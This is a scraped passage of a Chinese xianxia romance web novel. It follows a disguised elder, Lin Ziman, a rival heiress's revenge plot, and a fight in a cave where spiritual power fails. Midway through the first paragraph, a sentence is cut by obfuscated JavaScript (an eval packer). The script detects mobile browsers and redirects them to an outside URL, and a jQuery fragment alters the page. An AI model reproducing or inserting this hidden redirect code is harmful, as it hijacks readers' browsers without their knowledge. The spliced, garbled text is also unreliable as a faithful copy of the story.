秦扬也意识到了这个问题,第一时间就要转身躲开那些人的视线,但还未动作,就被眼尖的发现了。 李素月一看见秦扬,就惊喜地叫起来,随后拎着裙摆直直地冲着他小跑过来,作势要扑进他怀里。 秦扬微微侧身避过,李素月扑了个空也并不尴尬,泫然欲泣地望着他:“师兄,你没事真是太好了,那天那样的情形,我还以为……嘤嘤嘤……现在看见你好好的,我真是死了也值得……呜呜呜……” 林子满搓了搓胳膊上的鸡皮疙瘩,对能夹出这种声音表示佩服。 对这夹子音感到恶寒的显然不止她一个,林芷皱眉不满地看着李素月,掩唇轻咳一声,众人的注意力被拉回她身上。 李素月这才舍得将目光投向她,这一看却是一怔,暗暗打量了好几遍,方才语气不善地开口:“不知这位师姐又是何人?” 转向秦扬时立马换了副亲昵的口吻:“师兄不给我介绍介绍么?以前从没听师兄提起过呢。” 不待秦扬开口,林芷先优雅地笑了笑:“我跟秦师兄这几日才相识,你自然是不知道的。” 绝色佳人浅浅一笑带来的杀伤力是巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902830|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的,随李素月同来的那些人眼睛都看直了,情不自禁凑上来想要攀谈。 见身边的人不过眨眼间便被这妖精勾了魂,李素月气得牙痒痒,不甘地瞪着她。 林芷抬手扶了扶发髻,满意地欣赏了一会儿她的表情,施施然转身与旁人说话去了。 李素月的出现打乱了他们的计划,既无法再下药,还多了一堆的拖油瓶,出逃计划只能暂时搁浅。 而另一头,属于女人之间的较量才刚刚开始。 虽不如林芷绝色,李素月对自己的容貌也还是很有信心的,从前与其他师姐师妹在一起时,她不必如何打扮便已是其中最令人惊艳的存在。 如今有了林芷,她格外在意起了自己的外在,每日用在梳妆打扮上的时间大大增加。 早晨天还未亮,她便开始对镜梳妆,描眉画眼、傅粉施朱,一个精致脱俗的美人便自晨光中诞生了。 林芷对此不屑,再如何施以粉墨,俗物终究是俗物,不及她的万分之一。 但这么想的显然只有她一人,大美人自是令人见之不忘,小美人却也别有一番韵味。 见识了李素月这极妙的妆面,同行的师姐师妹都大为心动,整日随在她身后,盼着她能传授一二。 像林芷那样的绝色她们是不敢奢望了,但稍加修饰便能令自己容光焕发,搁谁谁不心动呢? 有时候同性的认可比异性的更加重要,拥有了自己别样后盾的李素月越发得意起来。 瞧瞧,她林芷再如何貌美,也只能吸引得了那些臭男人,哪像她,只要稍使手段,便能男女通吃。 但这份得意也没能在李素月脸上多维持几天,在知道林芷是上阳宗少主后,她的嫉妒之心简直是怎么压都压不住了。 凭什么?怎么什么好事都能落在她头上?老天爷就这么不公? 李素月咬牙切齿地想,既然她日子过得这么舒坦,那她偏要给她找些不痛快! 虽然她一个人的能耐有限,但她知道那些随在她身后讨要妆面技巧的师姐师妹里,好几个都是冲着秦扬来的,虽然她对那些人也喜欢不起来,但目前的形势下,自然是要先联合起来驱逐最大的敌人。 于是李素月开始了新的每日任务那就是拉帮结派给林芷使绊子,试图孤立她。 但林芷根本不在意她,那些小把戏她根本不放在眼里,毕竟那些世家公子都是她的忠实追随者,李素月使的阴招都被他们挡回去了。 她也不屑于与那些没什么家世、实力又不强的人来往,完全没感觉到自己被孤立。 但李素月十分地坚持不懈,与她的盟友们每日找着机会便围在秦扬身边,明里暗里地说林芷的坏话,想要说服秦扬跟他们一起离开,不要再跟林芷他们牵扯在一起。 秦扬十分无奈,是他不想离开吗?是他走不了好吧?! 若不是这些人突然出现,他们早就脱身了,还用得着在这儿听他们分析利弊吗? 而当知道是林子满救了秦扬以后,李素月又开始致力于将她拉进自己的小团体,毕竟救命恩人的分量总是不轻的,若能得她相助,必然能早日离开此处,不必再看林芷那副嘴脸。 日日劝说扰得林子满是不胜其烦。 14. 报复 这日午后,林子满刚吃饱喝足,正摸着肚子四处遛弯消食,就远远望见李素月带人朝她这边走来。 一看这架势,林子满便知事情不妙,坏了,这是冲她来的! 估计又是来给她洗脑的。 林子满赶紧借着人群的遮挡快速遁走,找了棵大树一溜烟蹿上去,繁茂的枝桠完美地隐去了她的身影。 但躲得了一时,躲不了一世啊。 前些日子,只有秦扬一人水深火热,她和莫叶声根本无人在意,若不是丢下伙伴不太仗义,他们早就离开了,反正林芷连他们二人的死活估计都不会管,更别说过问去向了。 可如今,李素月来了,带着她急需壮大的小团体走来了。 林子满和莫叶声都变得炙手可热起来了,每日都要被抓住听一遍那些大宗门里的人是多么人面兽心,背地里怎样勾心斗角的故事,他们如今又是在怎样水深火热、危险重重的境地里,是个好修士就应该强硬起来,不要畏惧所谓名门大宗的威势,说走咱就走! 这个傻姑娘根本不知道走不走这件事不是由他们说了算的,人家放不放人才是最重要的。 况且,由于李素月对林芷的针对,护卫们警惕性更高了些,生怕一个不注意,他们尊贵的少主就会受到伤害。 他们现在想要不动声色跑掉已经是难上加难了。 这可咋办啊? 林子满蹲在树上,惆怅地挠头,试图想出一个好办法。 正在此时,树下有动静传来,她眼神往下一瞥,看见林芷带着她的侍女从另一个方向走来。 “不是说看见秦扬往这边来了吗?怎么没见着人?” “别是让那个李素月叫去了吧?”侍女指指不远处的李素月。 “这姓李的女人真是烦,天天净使些下作手段。她这么努力,不就是想让秦扬多看她几眼吗?我看也没什么成效啊。”林芷嘲道。 “就是,少主看上的人她也想抢,也不看看自己配不配!”侍女跟着唾道。 “谁说我看上秦扬了?”林芷莫名其妙,忍不住白了她一眼,“虽然他长相倒也当得起一声出众,这个年纪能有这种修为在世人眼里也还算不错,但二十来岁的金丹,上阳宗一抓一大把,我还不至于眼光低到这种地步。” “而且他的背景实在过于普通,永凌山……”她轻嗤一声,“一个在修真界排不上号的小门小派,哪里能跟上阳宗相提并论?身份都不一定有那些护卫高的人,有什么值得我看得上的?” 听到如此评论,藏身于树上的林子满微微蹙起眉头,虽然秦扬现在还是个名不见经传的小修士,但她相信,假以时日,他一定会有一番大成就,哪里就有她说的那么不堪了? 况且,既然林芷这么看不上秦扬,为什么非要留他们同行?这些天又是在做什么? 随在一旁的侍女问出了她心中的疑惑。 “那少主怎么对他那么……”侍女话音一顿,将显些脱口而出的字眼死死咽进喉咙里,斟酌着殷勤二字换成了热情。 “虽然他配不上我,但若能真心喜欢上我,对我死心塌地,倒也能替我出一大口恶气。” 侍女疑惑:“怎么这么说?他以前得罪过少主?” “他当然是没得罪过我,但既然长了那样一张脸,不好好利用怎么行呢?”林芷冷笑一声,“等他喜欢上我,我一定要把那个贱人找出来,让她看看我们是怎样亲密无间、恩爱非凡。” “到时候我就跟她说,杨之曜根本没死,他一直活着,一直留在我身边,反正当时她也没见到杨之曜的尸体。”她充满恶意地说,“看着她心心念念的师兄死心塌地爱上我,她心里会是怎样一番滋味呢?” “她抢走了我那么多东西,怎么也该让我讨点利息吧?她心里很清楚,她拥有过的一切都是骗来的,都不是她的,只有杨之曜勉强算是她真正拥有过的,那我当然要把她唯一拥有的东西抢走,让她一无所有!不然怎么对得起她对我做过的一切?” 林芷说着说着笑起来,绝美的脸上现出几分狰狞:“我真是无比期待那一天的到来啊,到时候她会多么痛苦,多么绝望,多么心如死灰呢?哎呀,我真是想想都要笑出声来了!” 侍女听得云里雾里,可看着眼前有些魔怔的人,还是没敢多嘴再问,低头安静如鸡地跟着她离开。 作为她计划中的主人公,林子满坐在树上听完了全程,内心毫无波澜。 其实就算没听见这场针对自己谋划,对她也没什么影响,林芷是不会得到自己想要的结果的。 虽然没看见杨之曜的尸体,她也真真切切地知道他已经死了,毕竟是她亲自将他的灵魂带了回来。 不过她没想到是,几百年过去了,林芷依旧恨她入骨,还在想着法地报复她。 原来放不下的也不止她一个啊,林子满叹息一声。 不过好在一切都要回归正轨了,他们会有他们的锦绣人生,她也会有她自己的一无所有。 正想着,一个人影从头顶跃下,落在她身旁。 林子满吓了一跳,刚要一掌拍过去就见来人是秦扬。 “你什么时候过来的,怎么悄没声息的?”她呼出一口气,平缓了一下跳得稍有些快的心脏。 “我先前便一直在树上小憩,方才见师姐过来,刚准备打声招呼,就见师姐一副小心躲藏的样子,我就没敢出声打扰。” 什么小心躲藏?不就是说她鬼鬼祟祟的意思吗? 林子满试图挽尊,她板着脸,严肃地教育秦扬:“我那是不想多生事端,不得已才在树上躲着的。倒是你,小憩便小憩,怎么还跑来这样隐蔽的地方,这不是明摆着想偷听些什么吗?这种行为可不道德。” 秦扬看着她笑,明明她自己也在偷听。 但秦扬没反驳她的强词夺理,只是故作苦恼地说:“要不是我偷听,哪里知道人家压根不喜欢我,只是想利用我报复别人?这显得我前些天的自作多情很蠢啊。” “怎么?还挺失望啊?”林子满调侃他,“也对,毕竟那么一个大美人,还是上阳宗的少主,身边追求者无数,偏偏对你这么个名不见 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他当时是不是也在心里想,这世上怎么会有这样自作多情的人?他明明喜欢的是其他人,怎么这个人还跑来自己面前警告他别动其他心思?他明明从未说过喜欢她啊。 是啊,他从未亲口说过喜欢她,从前她在苦恼些什么? 既如此,他会喜欢别的女子,不也是很正常的事吗?她又有什么好震惊的呢? 可是她真的是有些难过啊。 尽管第一次见到秦扬时,她就知道他虽然是杨之曜,却也不会再是杨之曜。 尽管她一遍遍地给自己做思想工作,告诉自己不要过多地参与秦扬的人生,在他成长起来后就尽早离开。 尽管她已经强迫自己去习惯围绕在秦扬身边的红颜知已,去接受他迟早有一天会找到共度余生的人,而那个人不会是她这个事实。 但听到秦扬亲口说他有喜欢的人的时候,心里还是会很难受啊。 那个唯一真正爱她的人,在几百年前就已死去,而她直到现在才肯接受这个事实。 “你怎么看?”秦扬突然问。 “什么?”林子满还没缓过劲来,愣愣地看着他。 秦扬沉默地看了她一会儿,泄气般摇摇头,低声说了句没什么。 两人相对无言,时不时响起的虫鸣显得这一方天地更加寂静。 半晌后,秦扬想到了另一件事:“杨之曜是谁?林芷又为什么要利用我去报复别人?” 听到杨之曜的名字被他用陌生的语气念出,林子满鼻子一酸,眼眶开始泛红。 泪意翻涌而上,她再也忍不住了,借着斑驳树荫的遮掩,匆匆拭去眼角的泪水,在秦扬发现之前慌忙跳下树,头也不回地离开:“我不清楚,我先去休息了。” 秦扬看着林子满落荒而逃的背影,逐渐皱起了眉头。 她应该是知道些什么的,只是不肯告诉他。 她身上有很多秘密,终有一天,他会一件件都知晓。 不论是林子满亲口告诉他,还是他靠别的手段得知。 他一定都会知道的。 15. 地底 自那日之后,林子满一直是一副兴趣缺缺的模样,对什么都提不起精神,连平日里最爱吃的烤山鸡都不香了。 秦扬试图找出症结所在,可想来想去都不得其法,但他潜意识里就是觉得,林子满的异常跟那个叫杨之曜的人脱不开关系。 但不论是他的“杨师姐”,还是那位林少主,对此都讳莫如深,打听不出一星半点的消息。 莫叶声不知道发生了什么,见林子满状态不对,便以为她是跟秦扬吵架了。 毕竟杨师姐同别人并不相熟,也就与他们二人亲近些,既不是他惹了师姐不快,那便只能是秦师兄了。 但他也不敢劝,因为他总觉得林子满跟秦扬相处时有一种无形的屏障,自己虽然跟他们一路同行好些天,但总感觉还是个外人。 如今那俩不对劲,他心有余而力不足,想劝又不敢劝,只能越发安静如鸡,降低自己的存在感,免得被无辜殃及。 他们三人气氛低迷,李素月倒是闹得开心的很。 原本林芷并不在乎李素月的挑衅,任她闹得鸡飞狗跳,始终不怎么搭理她。 李素月一个人唱独角戏没劲,只能偃旗息鼓,待到第二日重振旗鼓再来。 这样倒也维持了一种微妙的平衡,勉强能保持相安无事,虽然聒噪了点,却也没真正打起来。 但眼见着就要到得失境出口了,在多日坚持挑衅却被无视后,李素月终于踩中了一次林芷的痛点。 傍晚时分,众人寻了处休整之地,三三两两聚在一起交换修炼心得,又讨论起当今整个修真界最有天赋的人是谁。 “我听说驭妖宗有个天生灵体的弟子,修炼速度极快,短短两年就快要结丹了。” 有人嗤笑一声:“驭妖宗也好意思拿出来说?那种贼窝,天赋高才该令人担忧吧,将来别是个为祸四方的魔头。” “就是,我看还是蕉林谷好,听说今年新收的弟子各个都水灵灵的,长大了必然像迟少主一般,光风霁月、芝兰玉树……”有情窦初开的少女捧着一张羞红的脸,藏不住满眼爱慕。 “我们说修为说天赋,你倒说起脸来了,庸俗!” “迟少主天赋难道不高么?人家跟你可不一样,人家才貌双全,你一样不沾!”少女忿忿道。 李素月瞥了眼坐在不远处的林芷,想起曾经听来的传闻,她眼珠子一转,语带神秘地打断了旁人的话题:“要我说,最有天赋的人并不在你们方才说的这些里头。” “噢?怎么说?”他们果然被勾起了好奇心。 李素月声音提高了几分:“你们方才说的,都是些年纪轻轻就修为不俗的,但很多人看起来天赋极高,其实都是虚的,不知道是靠什么法子堆起来的修为。不就有那种年少时便已结婴,却在元婴期待了几百年都毫无突破的人吗?这种岂不是一辈子无望,走到头都只能是个元婴了?还是我们这样脚踏实地稳妥些,进益虽慢,好歹是在往前走啊……” 她话还没说完,一阵风拂过,凉意掠过她的脖颈。 微微的刺痛袭来,她下意识伸手一摸,待看到手上的血迹时,整个人都呆住了。 “你再乱嚼舌根,下次我的风刃就不止是割破点皮了。”林芷缓缓放下手,眼神阴冷地盯着她。 现如今周围有太多双眼睛看着了,好些还是世家子弟,她不好随意动手,若是因着几句口角之争就杀人的事传出去,不仅会令她声誉受损,还会惹得她爹生气。 若非如此,这个女人现在已经是一具尸体了! 林芷迫于形势不得不放她一码,李素月却丝毫没有劫后余生的庆幸,她只觉得自己受了欺负。 前些天她更过分的话都说过,林芷始终无动于衷,她便以为堂堂上阳宗少主不过如此,外强中干罢了,没想到今天不过嘲讽了几句她的修为,就将林芷成功激怒。 她捂着自己的脖子,弱柳扶风般朝着秦扬扑过去,拉着他的袖子哭诉:“师兄,我只是在跟师妹们讨论修炼的事,连提都没提她,她却要对我痛下杀手!上阳宗便能这样欺负人吗?!呜呜呜……” 秦扬冷着一张脸沉默不语,内心实在是烦透了,他真是想不明白,李素月怎么就这么能挑事? 见他沉着脸却并无为她出头的意思,李素月越发委屈起来,啜泣着望向其他人。 她虽不及林芷貌美,到底是个清秀可人的少女,如今细细的血丝沿着她白皙的指缝流出,配上她泪眼盈盈的双眸和委屈幽怨的哭诉,惹得不少人心生怜悯、保护欲爆棚。 “林姑娘,就算你是上阳宗的少主,也没有这样仗势欺人的道理!”有人不平道。 “没错!我们永凌山虽然只是个小门派,却也绝对不是任人欺负的!你一言不合就对李师妹下这样的狠手,今天必须给我们个交代!” 见他抬出永凌山,不少人纷纷开口帮腔,毕竟涉及宗门颜面,哪有置身事外的道理? 李素月对同门师兄投去感激的目光,那人骄傲地挺了挺胸膛,李素月在永凌山人气不低,平时他并无献殷勤的机会,如今终于能在心爱的师妹面前一展雄风:“师妹你别怕,我会保护你的!今天师兄一定会为你讨个公道!” 眼见着指责的人越来越多,林芷还没说什么,她的追随者先坐不住了。 “你们别太过分了!分明是她出言挑衅在先,林姑娘不过略施惩戒,你们别在这儿颠倒黑白。” “就是!她平日里给林姑娘使绊子还少吗?是林姑娘大度不跟她计较,她反倒得寸进尺了!” 两拨人就这么吵了起来。 这里面大部分都还是少年心性,心高气傲,极容易热血上头,你一言我一语的,分毫不肯相让,到后面愈演愈烈,直接刀剑相向打起来了。 林子满抱臂站在一旁,一脸冷漠地看着这场闹剧,丝毫没有劝架的意思。 本来心情就不怎么美妙,听他们叽叽喳喳吵了半天更烦,实在没那个闲心去管这档子糟心事。 但看热闹被殃及池鱼这种事向来不稀奇,这次袖手旁观的三人也不例外。 刀光剑影中,只见一个瘦小的弟子拎着一把与他身形极不相符的大刀,气势汹汹地朝对面砍去,奈何准头实在太差,一刀劈在了旁边的石壁上。 随着一声令人牙酸的“咔嚓”声,那精铁锻造的大刀深深陷进了石壁中, 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其实说是地底也不准确,更像是掉进了一个巨大的溶洞,上方空荡荡触不到顶,不知到底有多高,洞内布满形态各异的石笋和钟乳石,时不时响起“滴答”水声,余音传出许久都未消散,衬得洞内空旷又静谧。 四周漆黑一片,只有上方的裂缝里透出一点光亮,隐隐约约地将众人照出个大概的轮廓。 他们运气还算不错,这地底长了一大片奇异的草,厚实的草叶好像十分柔软,飘扬在空中无风自动,在黑暗中隐约散发着幽幽莹光。 若不是落在了那又厚又长的草叶上,就算修士的身体强劲度远远高于常人,也没法保证从那么高的地方摔下来而不受伤。 唉声叹气此起彼伏,好些人都在揉着胳膊腿抱怨。 “这是哪儿啊?怎么这么黑?” “我们方才是从地面上掉下来了?” “是啊!我站的好好的,突然就掉下来了,连御剑都来不及!” “这么黑……不会藏着什么妖兽吧?”有个怕黑的小弟子颤巍巍地开口,“……会有鬼吗?” 旁人嗤笑道:“你丢不丢人?身为修仙之人还怕鬼?这世上哪来的鬼?难不成你是才从凡间来的,连这种常识都不知道?少看些什么志怪话本吧,省得丢人!” 确实是凡人出身的小弟子涨红了一张脸,讪讪着垂下头不说话了,那人却还不肯放过他,明里暗里地讽刺他胆小如鼠。 有人看不过为他解围:“少说几句吧,现在要紧的是怎么从这里离开。” “这有什么,那裂缝不还没合上吗?直接御剑飞上去不就行了?多大点事,也值得吵吵。” 那人不屑地哼笑一声,将佩剑往空中一抛,撩起下摆便打算翻身踩上去。 “咣当——” 一声闷响传来,他抬起的一只脚尴尬地滞在半空,不敢置信地看着躺倒在地的佩剑。 有人“噗嗤”笑出声来:“这位师兄啊,你是连怎么御剑都吓忘了吗?方才怎么还好意思笑话人家?” “不是……”那人的声音里透着几分古怪,细听之下竟有几分颤抖,“……是我的灵力用不了了。” 16. 出口 此话一出,众人皆静了静,颇为不解地看着他,仿佛没明白他话中意思一般,什么叫他的灵力用不了了?刚刚不还打得挺起劲的,这么一阵功夫就走火入魔了? 有人后知后觉反应过来,试着运转体内灵力,片刻后惊恐叫道:“是真的!我的灵力也用不了了!” 这下简直是一石激起千层浪,人群瞬间炸开了锅,众人纷纷开始探查体内灵力运转情况。 听见一旁的动静,林子满收回四处打量的目光,凝神运转灵力。 能感觉到体内灵力的存在,但却无法控制其运转,也施展不出来。 她伸手拂过腕上的琉璃镯,随后眉头深深蹙了起来,竟连契约认主过的储物镯都打不开?这难道也是一处禁灵之地? 禁灵之地十分罕见,她来到这修真界几百年,也只见过一处,便是永凌山的沁骨湖,没想到在这得失境的地底下,竟还藏着这样一个地方。 “我的灵力也用不了!” “储物袋也打不开了!” “怎么会这样?!” 一声声惊呼在洞内响起,众人越发惊慌失措起来,恐慌的气氛逐渐弥漫开来。 不久前还波澜不惊、有说有笑的人此时都煞白了一张脸,惴惴不安地四处张望着,不自觉朝身边人靠拢过去,生怕从哪里窜出个什么东西将他们拖走。 先前能够坦然自若,不过是仗着人多,又对自己的实力十分有信心,觉得不管落在了哪儿,逃出去都是轻而易举的事情。 可现在,他们最大的依仗没有了,引以为傲的灵力使不出来了,这样的他们,跟那些脆弱的凡人又有多大的区别呢? 况且现在几乎目不能视,只能靠那遥遥漏下的天光稍稍辨别方向,黑暗更加放大了人内心的恐惧。 “我们现在怎么办啊?”有个年纪不大的小姑娘又急又怕,声音里不自觉带上了哭腔。 “哭哭哭!就知道哭!哭能解决问题吗?女人就是没用!”她身边一个身材高大的男子本也心急害怕,却又不好表现出来,见她在一旁哭可算是找到发泄的借口了,直接破口大骂起来。 林芷冷冷地看着他:“你若真有能耐便自己想办法出去,没能耐就闭嘴!” 那身材高大的男子这才惊觉自己方才的话将林芷也骂了进去,他赶忙垂下头,瑟缩着退去了人群后。 “林姑娘,我们现在怎么办呀?”有人期期艾艾地问。 方才林芷开口,不少人就反应过来了,如今这群人里能称得上还有些实力的,便是那些护卫,毕竟要成为宗门死士,要经过层层严苛考核,自然不会像他们一样,只注重各种术法的施展,一旦失去灵力就如老虎拔了牙,只能束手无策。 而护卫中最厉害的,自然该是上阳宗的一众人等,毕竟上阳宗以剑闻名天下,即便现在无法使用灵力,凭着他们那一手精妙的剑术,也能躲过不少危险。 因此他们开始争先恐后往林芷身边挤,一个个赔着笑,讨好地恭维着,希望林少主能庇护他们一二。 林芷不屑地冷嗤一声,一群两面三刀的小人,方才帮着别人讨伐她时可不是这幅嘴脸。 但现在不是争论这些的时候,早些找到出口离开这儿才是最要紧的。 她望了望四周,将目光投向不远处一条隐隐约约的小路,朝众人示意:“往前走吧,一直在这儿呆着也不是办法。” “真的要走那条路吗?”有人心里发憷。 “不走你难道想留在这儿?要留你留,我是不愿意在这儿等死。” “是啊,留在这儿也没有其他办法啊,而且你看,这草长得多怪啊,谁知道会不会引来什么妖兽,咱们是得听林姑娘的,先离开这儿。” “走吧走吧,前面说不定就是出口呢。” 众人虽附和着,却谁都没有行动,脚底仿佛扎了根,皆杵在原地一动不动。 看着那条蜿蜒不见尽头的小路,大家心里都怵得慌,谁都不愿去做那探路的人。 最后还是护卫打头,率先走进了那幽深小径,其余人则挤作一团紧随其后。 先前还有遥遥漏下的一丝天光,现下简直可以说是伸手不见五指了。 众人沿着洞壁胆摸索着前进,胆战心惊地警惕着周围可能突然蹿出来的妖兽。 时不时有清脆水滴声远远传来,撩拨着他们脆弱的神经,耳边凌乱的呼吸声更是增添了几分紧张的氛围。 在黑暗中行走,时间的流逝让人无法捉摸,他们感觉自己好像走了很久很久,而脚下的路就跟没有尽头一样,不见丝毫变化。 就在他们的神经绷到极致,再过片刻就该断了时,转机终于出现了。 前面远远地出现了一丝亮光。 那么微弱,那么细小的一点光芒,落在众人眼里,简直犹如太阳般耀眼,大家瞬间兴奋起来,迫不及待地朝前赶去。 林子满随着人潮往前走着,却猛然想起一件事来。 现在灵力不能使用,那她所佩的千面妖丹岂不是处于失效状态? 该死,她怎么把这么重要的事给忘了! 她脚步一顿,正思索着怎么办,身后的人撞了上来,她踉跄了一下,一只手扶住了她的手臂,秦扬隐含担忧的声音传来:“师姐,你怎么了?” 林子满一愣:“怎么是你?” 秦扬莫名:“我一直在师姐身后啊,师姐不知道吗?” 洞内漆黑一片,根本无法分辨谁是谁,摸黑走了一路,林子满还以为他们早就走散了,没想到他一直悄无声息地走在自己后面。 “你不吭声我怎么知道后面跟着的是你?”林子满哭笑不得。 正说着,身后催促的声音传来:“你们别堵在这里啊!有什么都待会儿再说吧,先出去啊,后面还有好多人呢。” 林子满朝后望了望,黑压压一片也看不清到底有多少人。 这小路极窄,仅能容一人通行,即便她身形瘦削,也不可能绕过后面所有人走到最后去。 若只有秦扬也便罢了,暴露了也就暴露了,可 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“这一个没抓稳掉下去可就是死无全尸啊。”捡了块石头掷下去却没听到回响的人不自觉往里缩了缩,面如菜色。 “还真没听说哪个修士是摔死的,你要真掉下去摔死了也是修真界的独一份啊,哈哈哈。”有人打哈哈试图缓和气氛。 但没人接他的茬,众人都一脸凝重,沉默不语,因为照目前这情况来看,他们若真的想脱身,还真有摔死的可能,概率还不低。 林子满皱眉看着这一幕,心里实在没忍住飙了句脏话。 完蛋,怎么还能这样?这还不如一直待在里面呢! 现在是灵力也没恢复,躲也没地方躲,甚至想跑都跑不掉。 她默默叹了口大气,随后缩在人群后面,尽可能将自己藏了起来。 “他们里面谁的身手最好?”林芷看向那些护卫,“挑几个最擅攀爬的出来,先爬上去找人求救,再带人下来救我们。” 这确实是个稳妥的好法子,那些护卫都是经过训练重重筛选出来的,身手自然比他们好得多,只要他们上去了,就必定能找到法子将他们也救上去。 最重要的是,他们对自己的主人有着绝对的忠诚,不用担心会发生弃他们于不顾的事。 但林芷说完,却并没有得到大家的认同。 她奇怪地扭头看去,只见大家直勾勾地看着自己,眼神无比怪异,林芷眉心一皱,这种被冒犯的感觉令她十分不快:“你们这么看着我做什么?不想出去了?” 但无人回答她的话,死一般的寂静在山洞蔓延。 “说话啊!”林芷不知道发生了什么,但她感觉自己好像忽略了什么,一种不祥的预感涌上心头。 终于,有些颤颤巍巍地开口了:“你是谁?……林姑娘?你是林姑娘?你,你怎么,怎么变成……” 听清楚他的话后,林芷忽然意识到什么,瞳孔猛的一缩,整个人僵住了。 17. 乱斗 只见人群中央,那个原本极为美丽的妙龄少女不见了,取而代之的是一个大约四十来岁的普通妇人,一张圆脸上生着些许雀斑,两鬓隐约可见几缕灰白。 若不是那身华丽的衣裙,以及满头耀眼的珠钗,根本无人会将她与林芷联系起来。 林芷尖叫一声捂住了自己的脸,随后厉声怒喝道:“不准看我!谁都不准看我!!闭眼!你们通通给我闭上眼!!!” 她惊惶失措地往后退去,试图将自己藏起来,周遭的人不知到底发生了什么,纷纷慌乱避让。 一番凌乱的推搡中,前头的人一个不留神被推到了一旁,原本躲得好好的林子满就这样暴露在人前。 当林芷于指缝中瞥见那张熟悉又陌生的面孔时,只觉脑中如同被猛地扎进了一根针,那根名为恨的弦被狠狠搅动,她过往的不堪、而今的狼狈都是这个人造成的! 自己如同丧家之犬般不敢露面,她却好整以暇地在一旁看戏,一如当年那般高高在上! 为什么? 为什么明明是她被偷走了一切,如今却还要在这儿躲躲藏藏?! 蓬勃的恨意压过了理智,林芷缓缓放下了遮面的双手,不再去管旁人打量的目光。 看吧看吧,待会儿将你们都杀了,也就不会再有别人知道了,林芷充满恶意地想。 她一动不动地盯着林子满,凶狠的目光一寸寸划过她的脸,像是想将那张脸一点一点,活生生扒下来。 随着林芷的动作,大家的目光都落在了她们身上,见又有一人变了样貌,顿时惊疑不定地开始窃窃私语。 永凌山的弟子则诧异地看着林子满,疑惑不解:“林长老?林长老怎么会在这里?” “林长老一直跟我们在一起吗?我怎么没发现?” “她先前是扮作了谁的模样?” 有人快速扫了一眼人群:“好像是后来救了秦师兄的那个,秦师兄叫她杨师姐。” 有记性好的压低声音:“我怎么记得她从进秘境开始就跟着我们了……” 这话一出,众人的目光都变得古怪且意味深长起来。 看来传言非虚啊…… 连出来历练都要贴身跟着,怎么可能真的清清白白? 秦扬从林子满身后走出,站在她身前,宽厚的肩膀挡下了不住落在她身上的目光。 “你竟然还敢出现在我面前?!” 林芷的声音越过秦扬传来,林子满看不见她的脸,但从她咬牙切齿的语气可以想象得出她此时愤怒的表情。 “好啊,好啊!我找了你那么多年,你都躲着当缩头乌龟,没想到这次自己送到我面前来了。既如此,那就别怪我了,当年不得已放过你,现在杨之曜死了,你唯一的倚仗没了,我看谁还能护着你!” 语毕,林芷眼神扫过四周,自己带来的那些护卫没用,表面对自己言听计从,实际上只听从林征的命令。 她知道林征不会允许自己随便杀人,这些护卫肯定早就被叮嘱过,轻易不会出手。 呵,毕竟在林征心里,自己是一个会滥杀无辜的人,那个贱人,才是他真正想要的女儿。 那她今天偏要杀了林子满。 只有这样,她才能真正做回自己,摆脱那个贱人给她带来的阴影,成为独一无二的林芷! “我以上阳宗少主的身份在此承诺,谁能擒住那个女人,谁就是我上阳宗的座上宾,灵药法器,但凡我给得起的,无有不应。但谁要是敢帮她,就是与整个上阳宗为敌!”林芷的语气变得阴郁狠戾,“秦扬,你确定还要挡在她面前吗?” 人群渐渐骚动起来,这诱惑实在不小。 上阳宗是修真界第一大宗,许下承诺自然是不会赖账的,只要抓住这么个弱女子,数不清的宝贝唾手可得,现在大家都未曾恢复灵力,他们人多势众,要擒住她轻而易举。 更重要的是,若能经此事得了上阳宗少主的青眼,他日林芷继承宗主之位,便可用这份人情为自己谋划极大的利益,怎么看都是笔很划算的买卖。 许多人眼露贪婪,不自觉拔出了手中佩剑。 虽然听刚刚那些人话中意思,这女子在宗内应还是个长老,但区区一个永凌山而已,和上阳宗根本没法比,得罪了也就得罪了,日后有了上阳宗为后盾,还会怕什么永凌山? 永凌山的那些弟子则讷讷不语,眼神闪躲地退到了一旁,无人敢出来维护一二。 虽然林子满是永凌山长老,还是宗主夫人,可他们都是些普通弟子,没有能力也不敢与上阳宗为敌,此时强出头只会将自己的性命交待在这儿。 李素月无措地看着站在人群前方的秦扬,试图将他拉回去:“师兄,你打不过他们的,不如先……” 秦扬却看都不看她一眼,只用力甩开了她扯着自己袖子的手。 现场气氛焦灼起来,林子满默默估计了一下对方的人数,深深叹了口气,现在灵力尚未恢复,她的储物镯打不开,连拿件武器防身都做不到,看来今天真是凶多吉少了。 秦扬依旧稳稳地站在她身前,并未移动半步,手中剑随着其他人的动作一起出鞘。 林芷怨毒地看着他:“秦扬,你真的要为了她跟上阳宗作对?你以为她跟在你身边是为了什么?若不是你长了这样一张脸,你觉得她会多看你一眼?” 秦扬正色道:“不管是为了什么,你要想对她动手,必须先过了我这关。” “呵,没想到这么多年过去了,你的手段还真是半点不输当年呐。”林芷盯着秦扬身后,冷笑道:“从前能哄得杨之曜替你去死,现如今还能耍得人团团转,心甘情愿为你送命。” 林子满推推秦扬,想让他别掺和进这件事里,却被他一个冷冷的眼神瞪了回来。 林子满讪讪地缩回手,怎么这么凶? 现在她都暴露身份了,秦扬作为小辈还敢凶她,她很没面子的好吧? 另一边,莫叶声板着脸走到了林子满身边,利剑所指方向表面了他的态度。 林子满不赞同地看了他一眼,这事跟他就更没什么关系了,他没必要蹚这趟浑水。 莫叶声压低声音:“没关系的,反正他们不知道我的身份,我 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虽然这一击便解决了三人,但还有更多身手了得的人在前仆后继。 三人体力渐渐不支,秦扬脸色凝重地看着眼前局势,这样一直缠斗下去,他们会被耗死的。 他看向站在一旁,被护卫围在中间的林芷,眼睛微眯,不动声色地朝着她的方向退。 擒贼先擒王,现在只有挟持林芷,他们才有一线逃出去的生机。 随着秦扬的移动,打斗的众人也逼近林芷。 这个山洞并不宽敞,乌泱泱一群人挤在一起占了大半位置,林芷身后就是洞壁。 